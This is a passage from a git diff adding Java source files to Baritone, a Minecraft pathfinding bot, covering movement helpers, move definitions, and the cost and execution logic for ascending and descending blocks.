check fallings above + } + + static boolean isBottomSlab(BlockState state) { + return state.getBlock() instanceof SlabBlock + && state.get(SlabBlock.TYPE) == SlabType.BOTTOM; + } + + /** + * AutoTool for a specific block + * + * @param ctx The player context + * @param b the blockstate to mine + */ + static void switchToBestToolFor(IPlayerContext ctx, BlockState b) { + switchToBestToolFor(ctx, b, new ToolSet(ctx.player()), BaritoneAPI.getSettings().preferSilkTouch.value); + } + + /** + * AutoTool for a specific block with precomputed ToolSet data + * + * @param ctx The player context + * @param b the blockstate to mine + * @param ts previously calculated ToolSet + */ + static void switchToBestToolFor(IPlayerContext ctx, BlockState b, ToolSet ts, boolean preferSilkTouch) { + if (Baritone.settings().autoTool.value && !Baritone.settings().assumeExternalAutoTool.value) { + ctx.player().inventory.currentItem = ts.getBestSlot(b.getBlock(), preferSilkTouch); + } + } + + static void moveTowards(IPlayerContext ctx, MovementState state, BlockPos pos) { + state.setTarget(new MovementTarget( + RotationUtils.calcRotationFromVec3d(ctx.playerHead(), + VecUtils.getBlockPosCenter(pos), + ctx.playerRotations()).withPitch(ctx.playerRotations().getPitch()), + false + )).setInput(Input.MOVE_FORWARD, true); + } + + /** + * Returns whether or not the specified block is + * water, regardless of whether or not it is flowing. + * + * @param state The block state + * @return Whether or not the block is water + */ + static boolean isWater(BlockState state) { + Fluid f = state.getFluidState().getFluid(); + return f == Fluids.WATER || f == Fluids.FLOWING_WATER; + } + + /** + * Returns whether or not the block at the specified pos is + * water, regardless of whether or not it is flowing. + * + * @param ctx The player context + * @param bp The block pos + * @return Whether or not the block is water + */ + static boolean isWater(IPlayerContext ctx, BlockPos bp) { + return isWater(BlockStateInterface.get(ctx, bp)); + } + + static boolean isLava(BlockState state) { + Fluid f = state.getFluidState().getFluid(); + return f == Fluids.LAVA || f == Fluids.FLOWING_LAVA; + } + + /** + * Returns whether or not the specified pos has a liquid + * + * @param ctx The player context + * @param p The pos + * @return Whether or not the block is a liquid + */ + static boolean isLiquid(IPlayerContext ctx, BlockPos p) { + return isLiquid(BlockStateInterface.get(ctx, p)); + } + + static boolean isLiquid(BlockState blockState) { + return !blockState.getFluidState().isEmpty(); + } + + static boolean possiblyFlowing(BlockState state) { + FluidState fluidState = state.getFluidState(); + return fluidState.getFluid() instanceof FlowingFluid + && fluidState.getFluid().getLevel(fluidState) != 8; + } + + static boolean isFlowing(int x, int y, int z, BlockState state, BlockStateInterface bsi) { + FluidState fluidState = state.getFluidState(); + if (!(fluidState.getFluid() instanceof FlowingFluid)) { + return false; + } + if (fluidState.getFluid().getLevel(fluidState) != 8) { + return true; + } + return possiblyFlowing(bsi.get0(x + 1, y, z)) + || possiblyFlowing(bsi.get0(x - 1, y, z)) + || possiblyFlowing(bsi.get0(x, y, z + 1)) + || possiblyFlowing(bsi.get0(x, y, z - 1)); + } + + static boolean isBlockNormalCube(BlockState state) { + Block block = state.getBlock(); + if (block instanceof BambooBlock + || block instanceof MovingPistonBlock + || block instanceof ScaffoldingBlock + || block instanceof ShulkerBoxBlock) { + return false; + } + try { + return Block.isOpaque(state.getCollisionShape(null, null)); + } catch (Exception ignored) { + // if we can't get the collision shape, assume it's bad and add to blocksToAvoid + } + return false; + } + + static PlaceResult attemptToPlaceABlock(MovementState state, IBaritone baritone, BlockPos placeAt, boolean preferDown, boolean wouldSneak) { + IPlayerContext ctx = baritone.getPlayerContext(); + Optional direct = RotationUtils.reachable(ctx, placeAt, wouldSneak); // we assume that if there is a block there, it must be replacable + boolean found = false; + if (direct.isPresent()) { + state.setTarget(new MovementTarget(direct.get(), true)); + found = true; + } + for (int i = 0; i < 5; i++) { + BlockPos against1 = placeAt.offset(HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP[i]); + if (MovementHelper.canPlaceAgainst(ctx, against1)) { + if (!((Baritone) baritone).getInventoryBehavior().selectThrowawayForLocation(false, placeAt.getX(), placeAt.getY(), placeAt.getZ())) { // get ready to place a throwaway block + Helper.HELPER.logDebug("bb pls get me some blocks. dirt, netherrack, cobble"); + state.setStatus(MovementStatus.UNREACHABLE); + return PlaceResult.NO_OPTION; + } + double faceX = (placeAt.getX() + against1.getX() + 1.0D) * 0.5D; + double faceY = (placeAt.getY() + against1.getY() + 0.5D) * 0.5D; + double faceZ = (placeAt.getZ() + against1.getZ() + 1.0D) * 0.5D; + Rotation place = RotationUtils.calcRotationFromVec3d(wouldSneak ? RayTraceUtils.inferSneakingEyePosition(ctx.player()) : ctx.playerHead(), new Vector3d(faceX, faceY, faceZ), ctx.playerRotations()); + Rotation actual = baritone.getLookBehavior().getAimProcessor().peekRotation(place); + RayTraceResult res = RayTraceUtils.rayTraceTowards(ctx.player(), actual, ctx.playerController().getBlockReachDistance(), wouldSneak); + if (res != null && res.getType() == RayTraceResult.Type.BLOCK && ((BlockRayTraceResult) res).getPos().equals(against1) && ((BlockRayTraceResult) res).getPos().offset(((BlockRayTraceResult) res).getFace()).equals(placeAt)) { + state.setTarget(new MovementTarget(place, true)); + found = true; + + if (!preferDown) { + // if preferDown is true, we want the last option + // if preferDown is false, we want the first + break; + } + } + } + } + if (ctx.getSelectedBlock().isPresent()) { + BlockPos selectedBlock = ctx.getSelectedBlock().get(); + Direction side = ((BlockRayTraceResult) ctx.objectMouseOver()).getFace(); + // only way for selectedBlock.equals(placeAt) to be true is if it's replacable + if (selectedBlock.equals(placeAt) || (MovementHelper.canPlaceAgainst(ctx, selectedBlock) && selectedBlock.offset(side).equals(placeAt))) { + if (wouldSneak) { + state.setInput(Input.SNEAK, true); + } + ((Baritone) baritone).getInventoryBehavior().selectThrowawayForLocation(true, placeAt.getX(), placeAt.getY(), placeAt.getZ()); + return PlaceResult.READY_TO_PLACE; + } + } + if (found) { + if (wouldSneak) { + state.setInput(Input.SNEAK, true); + } + ((Baritone) baritone).getInventoryBehavior().selectThrowawayForLocation(true, placeAt.getX(), placeAt.getY(), placeAt.getZ()); + return PlaceResult.ATTEMPTING; + } + return PlaceResult.NO_OPTION; + } + + enum PlaceResult { + READY_TO_PLACE, ATTEMPTING, NO_OPTION; + } + + static boolean isTransparent(Block b) { + + return b instanceof AirBlock || + b == Blocks.LAVA || + b == Blocks.WATER; + } +} diff --git a/src/baritone/pathing/movement/MovementState.java b/src/baritone/pathing/movement/MovementState.java new file mode 100644 index 00000000..73539698 --- /dev/null +++ b/src/baritone/pathing/movement/MovementState.java @@ -0,0 +1,92 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement; + +import baritone.api.pathing.movement.MovementStatus; +import baritone.api.utils.Rotation; +import baritone.api.utils.input.Input; + +import java.util.HashMap; +import java.util.Map; +import java.util.Optional; + +public class MovementState { + + private MovementStatus status; + private MovementTarget target = new MovementTarget(); + private final Map inputState = new HashMap<>(); + + public MovementState setStatus(MovementStatus status) { + this.status = status; + return this; + } + + public MovementStatus getStatus() { + return status; + } + + public MovementTarget getTarget() { + return this.target; + } + + public MovementState setTarget(MovementTarget target) { + this.target = target; + return this; + } + + public MovementState setInput(Input input, boolean forced) { + this.inputState.put(input, forced); + return this; + } + + public Map getInputStates() { + return this.inputState; + } + + public static class MovementTarget { + + /** + * Yaw and pitch angles that must be matched + */ + public Rotation rotation; + + /** + * Whether or not this target must force rotations. + *

+ * {@code true} if we're trying to place or break blocks, {@code false} if we're trying to look at the movement location + */ + private boolean forceRotations; + + public MovementTarget() { + this(null, false); + } + + public MovementTarget(Rotation rotation, boolean forceRotations) { + this.rotation = rotation; + this.forceRotations = forceRotations; + } + + public final Optional getRotation() { + return Optional.ofNullable(this.rotation); + } + + public boolean hasToForceRotations() { + return this.forceRotations; + } + } +} diff --git a/src/baritone/pathing/movement/Moves.java b/src/baritone/pathing/movement/Moves.java new file mode 100644 index 00000000..6441ce03 --- /dev/null +++ b/src/baritone/pathing/movement/Moves.java @@ -0,0 +1,361 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement; + +import baritone.api.utils.BetterBlockPos; +import baritone.pathing.movement.movements.*; +import baritone.utils.pathing.MutableMoveResult; +import net.minecraft.util.Direction; + +/** + * An enum of all possible movements attached to all possible directions they could be taken in + * + * @author leijurv + */ +public enum Moves { + DOWNWARD(0, -1, 0) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return new MovementDownward(context.getBaritone(), src, src.down()); + } + + @Override + public double cost(CalculationContext context, int x, int y, int z) { + return MovementDownward.cost(context, x, y, z); + } + }, + + PILLAR(0, +1, 0) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return new MovementPillar(context.getBaritone(), src, src.up()); + } + + @Override + public double cost(CalculationContext context, int x, int y, int z) { + return MovementPillar.cost(context, x, y, z); + } + }, + + TRAVERSE_NORTH(0, 0, -1) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return new MovementTraverse(context.getBaritone(), src, src.north()); + } + + @Override + public double cost(CalculationContext context, int x, int y, int z) { + return MovementTraverse.cost(context, x, y, z, x, z - 1); + } + }, + + TRAVERSE_SOUTH(0, 0, +1) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return new MovementTraverse(context.getBaritone(), src, src.south()); + } + + @Override + public double cost(CalculationContext context, int x, int y, int z) { + return MovementTraverse.cost(context, x, y, z, x, z + 1); + } + }, + + TRAVERSE_EAST(+1, 0, 0) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return new MovementTraverse(context.getBaritone(), src, src.east()); + } + + @Override + public double cost(CalculationContext context, int x, int y, int z) { + return MovementTraverse.cost(context, x, y, z, x + 1, z); + } + }, + + TRAVERSE_WEST(-1, 0, 0) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return new MovementTraverse(context.getBaritone(), src, src.west()); + } + + @Override + public double cost(CalculationContext context, int x, int y, int z) { + return MovementTraverse.cost(context, x, y, z, x - 1, z); + } + }, + + ASCEND_NORTH(0, +1, -1) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return new MovementAscend(context.getBaritone(), src, new BetterBlockPos(src.x, src.y + 1, src.z - 1)); + } + + @Override + public double cost(CalculationContext context, int x, int y, int z) { + return MovementAscend.cost(context, x, y, z, x, z - 1); + } + }, + + ASCEND_SOUTH(0, +1, +1) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return new MovementAscend(context.getBaritone(), src, new BetterBlockPos(src.x, src.y + 1, src.z + 1)); + } + + @Override + public double cost(CalculationContext context, int x, int y, int z) { + return MovementAscend.cost(context, x, y, z, x, z + 1); + } + }, + + ASCEND_EAST(+1, +1, 0) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return new MovementAscend(context.getBaritone(), src, new BetterBlockPos(src.x + 1, src.y + 1, src.z)); + } + + @Override + public double cost(CalculationContext context, int x, int y, int z) { + return MovementAscend.cost(context, x, y, z, x + 1, z); + } + }, + + ASCEND_WEST(-1, +1, 0) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return new MovementAscend(context.getBaritone(), src, new BetterBlockPos(src.x - 1, src.y + 1, src.z)); + } + + @Override + public double cost(CalculationContext context, int x, int y, int z) { + return MovementAscend.cost(context, x, y, z, x - 1, z); + } + }, + + DESCEND_EAST(+1, -1, 0, false, true) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + MutableMoveResult res = new MutableMoveResult(); + apply(context, src.x, src.y, src.z, res); + if (res.y == src.y - 1) { + return new MovementDescend(context.getBaritone(), src, new BetterBlockPos(res.x, res.y, res.z)); + } else { + return new MovementFall(context.getBaritone(), src, new BetterBlockPos(res.x, res.y, res.z)); + } + } + + @Override + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + MovementDescend.cost(context, x, y, z, x + 1, z, result); + } + }, + + DESCEND_WEST(-1, -1, 0, false, true) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + MutableMoveResult res = new MutableMoveResult(); + apply(context, src.x, src.y, src.z, res); + if (res.y == src.y - 1) { + return new MovementDescend(context.getBaritone(), src, new BetterBlockPos(res.x, res.y, res.z)); + } else { + return new MovementFall(context.getBaritone(), src, new BetterBlockPos(res.x, res.y, res.z)); + } + } + + @Override + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + MovementDescend.cost(context, x, y, z, x - 1, z, result); + } + }, + + DESCEND_NORTH(0, -1, -1, false, true) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + MutableMoveResult res = new MutableMoveResult(); + apply(context, src.x, src.y, src.z, res); + if (res.y == src.y - 1) { + return new MovementDescend(context.getBaritone(), src, new BetterBlockPos(res.x, res.y, res.z)); + } else { + return new MovementFall(context.getBaritone(), src, new BetterBlockPos(res.x, res.y, res.z)); + } + } + + @Override + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + MovementDescend.cost(context, x, y, z, x, z - 1, result); + } + }, + + DESCEND_SOUTH(0, -1, +1, false, true) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + MutableMoveResult res = new MutableMoveResult(); + apply(context, src.x, src.y, src.z, res); + if (res.y == src.y - 1) { + return new MovementDescend(context.getBaritone(), src, new BetterBlockPos(res.x, res.y, res.z)); + } else { + return new MovementFall(context.getBaritone(), src, new BetterBlockPos(res.x, res.y, res.z)); + } + } + + @Override + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + MovementDescend.cost(context, x, y, z, x, z + 1, result); + } + }, + + DIAGONAL_NORTHEAST(+1, 0, -1, false, true) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + MutableMoveResult res = new MutableMoveResult(); + apply(context, src.x, src.y, src.z, res); + return new MovementDiagonal(context.getBaritone(), src, Direction.NORTH, Direction.EAST, res.y - src.y); + } + + @Override + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + MovementDiagonal.cost(context, x, y, z, x + 1, z - 1, result); + } + }, + + DIAGONAL_NORTHWEST(-1, 0, -1, false, true) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + MutableMoveResult res = new MutableMoveResult(); + apply(context, src.x, src.y, src.z, res); + return new MovementDiagonal(context.getBaritone(), src, Direction.NORTH, Direction.WEST, res.y - src.y); + } + + @Override + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + MovementDiagonal.cost(context, x, y, z, x - 1, z - 1, result); + } + }, + + DIAGONAL_SOUTHEAST(+1, 0, +1, false, true) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + MutableMoveResult res = new MutableMoveResult(); + apply(context, src.x, src.y, src.z, res); + return new MovementDiagonal(context.getBaritone(), src, Direction.SOUTH, Direction.EAST, res.y - src.y); + } + + @Override + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + MovementDiagonal.cost(context, x, y, z, x + 1, z + 1, result); + } + }, + + DIAGONAL_SOUTHWEST(-1, 0, +1, false, true) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + MutableMoveResult res = new MutableMoveResult(); + apply(context, src.x, src.y, src.z, res); + return new MovementDiagonal(context.getBaritone(), src, Direction.SOUTH, Direction.WEST, res.y - src.y); + } + + @Override + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + MovementDiagonal.cost(context, x, y, z, x - 1, z + 1, result); + } + }, + + PARKOUR_NORTH(0, 0, -4, true, true) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return MovementParkour.cost(context, src, Direction.NORTH); + } + + @Override + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + MovementParkour.cost(context, x, y, z, Direction.NORTH, result); + } + }, + + PARKOUR_SOUTH(0, 0, +4, true, true) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return MovementParkour.cost(context, src, Direction.SOUTH); + } + + @Override + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + MovementParkour.cost(context, x, y, z, Direction.SOUTH, result); + } + }, + + PARKOUR_EAST(+4, 0, 0, true, true) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return MovementParkour.cost(context, src, Direction.EAST); + } + + @Override + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + MovementParkour.cost(context, x, y, z, Direction.EAST, result); + } + }, + + PARKOUR_WEST(-4, 0, 0, true, true) { + @Override + public Movement apply0(CalculationContext context, BetterBlockPos src) { + return MovementParkour.cost(context, src, Direction.WEST); + } + + @Override + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + MovementParkour.cost(context, x, y, z, Direction.WEST, result); + } + }; + + public final boolean dynamicXZ; + public final boolean dynamicY; + + public final int xOffset; + public final int yOffset; + public final int zOffset; + + Moves(int x, int y, int z, boolean dynamicXZ, boolean dynamicY) { + this.xOffset = x; + this.yOffset = y; + this.zOffset = z; + this.dynamicXZ = dynamicXZ; + this.dynamicY = dynamicY; + } + + Moves(int x, int y, int z) { + this(x, y, z, false, false); + } + + public abstract Movement apply0(CalculationContext context, BetterBlockPos src); + + public void apply(CalculationContext context, int x, int y, int z, MutableMoveResult result) { + if (dynamicXZ || dynamicY) { + throw new UnsupportedOperationException(); + } + result.x = x + xOffset; + result.y = y + yOffset; + result.z = z + zOffset; + result.cost = cost(context, x, y, z); + } + + public double cost(CalculationContext context, int x, int y, int z) { + throw new UnsupportedOperationException(); + } +} diff --git a/src/baritone/pathing/movement/movements/MovementAscend.java b/src/baritone/pathing/movement/movements/MovementAscend.java new file mode 100644 index 00000000..bcf496df --- /dev/null +++ b/src/baritone/pathing/movement/movements/MovementAscend.java @@ -0,0 +1,242 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement.movements; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.pathing.movement.MovementStatus; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.input.Input; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.Movement; +import baritone.pathing.movement.MovementHelper; +import baritone.pathing.movement.MovementState; +import baritone.utils.BlockStateInterface; +import com.google.common.collect.ImmutableSet; +import net.minecraft.block.BlockState; +import net.minecraft.block.Blocks; +import net.minecraft.block.FallingBlock; +import net.minecraft.util.Direction; + +import java.util.Set; + +public class MovementAscend extends Movement { + + private int ticksWithoutPlacement = 0; + + public MovementAscend(IBaritone baritone, BetterBlockPos src, BetterBlockPos dest) { + super(baritone, src, dest, new BetterBlockPos[]{dest, src.up(2), dest.up()}, dest.down()); + } + + @Override + public void reset() { + super.reset(); + ticksWithoutPlacement = 0; + } + + @Override + public double calculateCost(CalculationContext context) { + return cost(context, src.x, src.y, src.z, dest.x, dest.z); + } + + @Override + protected Set calculateValidPositions() { + BetterBlockPos prior = new BetterBlockPos(src.subtract(getDirection()).up()); // sometimes we back up to place the block, also sprint ascends, also skip descend to straight ascend + return ImmutableSet.of(src, + src.up(), + dest, + prior, + prior.up() + ); + } + + public static double cost(CalculationContext context, int x, int y, int z, int destX, int destZ) { + BlockState toPlace = context.get(destX, y, destZ); + double additionalPlacementCost = 0; + if (!MovementHelper.canWalkOn(context, destX, y, destZ, toPlace)) { + additionalPlacementCost = context.costOfPlacingAt(destX, y, destZ, toPlace); + if (additionalPlacementCost >= COST_INF) { + return COST_INF; + } + if (!MovementHelper.isReplaceable(destX, y, destZ, toPlace, context.bsi)) { + return COST_INF; + } + boolean foundPlaceOption = false; + for (int i = 0; i < 5; i++) { + int againstX = destX + HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP[i].getXOffset(); + int againstY = y + HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP[i].getYOffset(); + int againstZ = destZ + HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP[i].getZOffset(); + if (againstX == x && againstZ == z) { // we might be able to backplace now, but it doesn't matter because it will have been broken by the time we'd need to use it + continue; + } + if (MovementHelper.canPlaceAgainst(context.bsi, againstX, againstY, againstZ)) { + foundPlaceOption = true; + break; + } + } + if (!foundPlaceOption) { // didn't find a valid place =( + return COST_INF; + } + } + BlockState srcUp2 = context.get(x, y + 2, z); // used lower down anyway + if (context.get(x, y + 3, z).getBlock() instanceof FallingBlock && (MovementHelper.canWalkThrough(context, x, y + 1, z) || !(srcUp2.getBlock() instanceof FallingBlock))) {//it would fall on us and possibly suffocate us + // HOWEVER, we assume that we're standing in the start position + // that means that src and src.up(1) are both air + // maybe they aren't now, but they will be by the time this starts + // if the lower one is can't walk through and the upper one is falling, that means that by standing on src + // (the presupposition of this Movement) + // we have necessarily already cleared the entire FallingBlock stack + // on top of our head + + // as in, if we have a block, then two FallingBlocks on top of it + // and that block is x, y+1, z, and we'd have to clear it to even start this movement + // we don't need to worry about those FallingBlocks because we've already cleared them + return COST_INF; + // you may think we only need to check srcUp2, not srcUp + // however, in the scenario where glitchy world gen where unsupported sand / gravel generates + // it's possible srcUp is AIR from the start, and srcUp2 is falling + // and in that scenario, when we arrive and break srcUp2, that lets srcUp3 fall on us and suffocate us + } + BlockState srcDown = context.get(x, y - 1, z); + if (srcDown.getBlock() == Blocks.LADDER || srcDown.getBlock() == Blocks.VINE) { + return COST_INF; + } + // we can jump from soul sand, but not from a bottom slab + boolean jumpingFromBottomSlab = MovementHelper.isBottomSlab(srcDown); + boolean jumpingToBottomSlab = MovementHelper.isBottomSlab(toPlace); + if (jumpingFromBottomSlab && !jumpingToBottomSlab) { + return COST_INF;// the only thing we can ascend onto from a bottom slab is another bottom slab + } + double walk; + if (jumpingToBottomSlab) { + if (jumpingFromBottomSlab) { + walk = Math.max(JUMP_ONE_BLOCK_COST, WALK_ONE_BLOCK_COST); // we hit space immediately on entering this action + walk += context.jumpPenalty; + } else { + walk = WALK_ONE_BLOCK_COST; // we don't hit space we just walk into the slab + } + } else { + // jumpingFromBottomSlab must be false + if (toPlace.getBlock() == Blocks.SOUL_SAND) { + walk = WALK_ONE_OVER_SOUL_SAND_COST; + } else { + walk = Math.max(JUMP_ONE_BLOCK_COST, WALK_ONE_BLOCK_COST); + } + walk += context.jumpPenalty; + } + + double totalCost = walk + additionalPlacementCost; + // start with srcUp2 since we already have its state + // includeFalling isn't needed because of the falling check above -- if srcUp3 is falling we will have already exited with COST_INF if we'd actually have to break it + totalCost += MovementHelper.getMiningDurationTicks(context, x, y + 2, z, srcUp2, false); + if (totalCost >= COST_INF) { + return COST_INF; + } + totalCost += MovementHelper.getMiningDurationTicks(context, destX, y + 1, destZ, false); + if (totalCost >= COST_INF) { + return COST_INF; + } + totalCost += MovementHelper.getMiningDurationTicks(context, destX, y + 2, destZ, true); + return totalCost; + } + + @Override + public MovementState updateState(MovementState state) { + if (ctx.playerFeet().y < src.y) { + // this check should run even when in preparing state (breaking blocks) + return state.setStatus(MovementStatus.UNREACHABLE); + } + super.updateState(state); + // TODO incorporate some behavior from ActionClimb (specifically how it waited until it was at most 1.2 blocks away before starting to jump + // for efficiency in ascending minimal height staircases, which is just repeated MovementAscend, so that it doesn't bonk its head on the ceiling repeatedly) + if (state.getStatus() != MovementStatus.RUNNING) { + return state; + } + + if (ctx.playerFeet().equals(dest) || ctx.playerFeet().equals(dest.add(getDirection().down()))) { + return state.setStatus(MovementStatus.SUCCESS); + } + + BlockState jumpingOnto = BlockStateInterface.get(ctx, positionToPlace); + if (!MovementHelper.canWalkOn(ctx, positionToPlace, jumpingOnto)) { + ticksWithoutPlacement++; + if (MovementHelper.attemptToPlaceABlock(state, baritone, dest.down(), false, true) == PlaceResult.READY_TO_PLACE) { + state.setInput(Input.SNEAK, true); + if (ctx.player().isCrouching()) { + state.setInput(Input.CLICK_RIGHT, true); + } + } + if (ticksWithoutPlacement > 10) { + // After 10 ticks without placement, we might be standing in the way, move back + state.setInput(Input.MOVE_BACK, true); + } + + return state; + } + MovementHelper.moveTowards(ctx, state, dest); + if (MovementHelper.isBottomSlab(jumpingOnto) && !MovementHelper.isBottomSlab(BlockStateInterface.get(ctx, src.down()))) { + return state; // don't jump while walking from a non double slab into a bottom slab + } + + if (Baritone.settings().assumeStep.value || ctx.playerFeet().equals(src.up())) { + // no need to hit space if we're already jumping + return state; + } + + int xAxis = Math.abs(src.getX() - dest.getX()); // either 0 or 1 + int zAxis = Math.abs(src.getZ() - dest.getZ()); // either 0 or 1 + double flatDistToNext = xAxis * Math.abs((dest.getX() + 0.5D) - ctx.player().getPositionVec().x) + zAxis * Math.abs((dest.getZ() + 0.5D) - ctx.player().getPositionVec().z); + double sideDist = zAxis * Math.abs((dest.getX() + 0.5D) - ctx.player().getPositionVec().x) + xAxis * Math.abs((dest.getZ() + 0.5D) - ctx.player().getPositionVec().z); + + double lateralMotion = xAxis * ctx.player().getMotion().z + zAxis * ctx.player().getMotion().x; + if (Math.abs(lateralMotion) > 0.1) { + return state; + } + + if (headBonkClear()) { + return state.setInput(Input.JUMP, true); + } + + if (flatDistToNext > 1.2 || sideDist > 0.2) { + return state; + } + + // Once we are pointing the right way and moving, start jumping + // This is slightly more efficient because otherwise we might start jumping before moving, and fall down without moving onto the block we want to jump onto + // Also wait until we are close enough, because we might jump and hit our head on an adjacent block + return state.setInput(Input.JUMP, true); + } + + public boolean headBonkClear() { + BetterBlockPos startUp = src.up(2); + for (int i = 0; i < 4; i++) { + BetterBlockPos check = startUp.offset(Direction.byHorizontalIndex(i)); + if (!MovementHelper.canWalkThrough(ctx, check)) { + // We might bonk our head + return false; + } + } + return true; + } + + @Override + public boolean safeToCancel(MovementState state) { + // if we had to place, don't allow pause + return state.getStatus() != MovementStatus.RUNNING || ticksWithoutPlacement == 0; + } +} diff --git a/src/baritone/pathing/movement/movements/MovementDescend.java b/src/baritone/pathing/movement/movements/MovementDescend.java new file mode 100644 index 00000000..6929dcc0 --- /dev/null +++ b/src/baritone/pathing/movement/movements/MovementDescend.java @@ -0,0 +1,282 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement.movements; + +import baritone.api.IBaritone; +import baritone.api.pathing.movement.MovementStatus; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.RotationUtils; +import baritone.api.utils.input.Input; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.Movement; +import baritone.pathing.movement.MovementHelper; +import baritone.pathing.movement.MovementState; +import baritone.utils.BlockStateInterface; +import baritone.utils.pathing.MutableMoveResult; +import com.google.common.collect.ImmutableSet; +import net.minecraft.block.Block; +import net.minecraft.block.Blocks; +import net.minecraft.block.BlockState; +import net.minecraft.block.FallingBlock; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.vector.Vector3d; + +import java.util.Set; + +public class MovementDescend extends Movement { + + private int numTicks = 0; + public boolean forceSafeMode = false; + + public MovementDescend(IBaritone baritone, BetterBlockPos start, BetterBlockPos end) { + super(baritone, start, end, new BetterBlockPos[]{end.up(2), end.up(), end}, end.down()); + } + + @Override + public void reset() { + super.reset(); + numTicks = 0; + forceSafeMode = false; + } + + /** + * Called by PathExecutor if needing safeMode can only be detected with knowledge about the next movement + */ + public void forceSafeMode() { + forceSafeMode = true; + } + + @Override + public double calculateCost(CalculationContext context) { + MutableMoveResult result = new MutableMoveResult(); + cost(context, src.x, src.y, src.z, dest.x, dest.z, result); + if (result.y != dest.y) { + return COST_INF; // doesn't apply to us, this position is a fall not a descend + } + return result.cost; + } + + @Override + protected Set calculateValidPositions() { + return ImmutableSet.of(src, dest.up(), dest); + } + + public static void cost(CalculationContext context, int x, int y, int z, int destX, int destZ, MutableMoveResult res) { + double totalCost = 0; + BlockState destDown = context.get(destX, y - 1, destZ); + totalCost += MovementHelper.getMiningDurationTicks(context, destX, y - 1, destZ, destDown, false); + if (totalCost >= COST_INF) { + return; + } + totalCost += MovementHelper.getMiningDurationTicks(context, destX, y, destZ, false); + if (totalCost >= COST_INF) { + return; + } + totalCost += MovementHelper.getMiningDurationTicks(context, destX, y + 1, destZ, true); // only the top block in the 3 we need to mine needs to consider the falling blocks above + if (totalCost >= 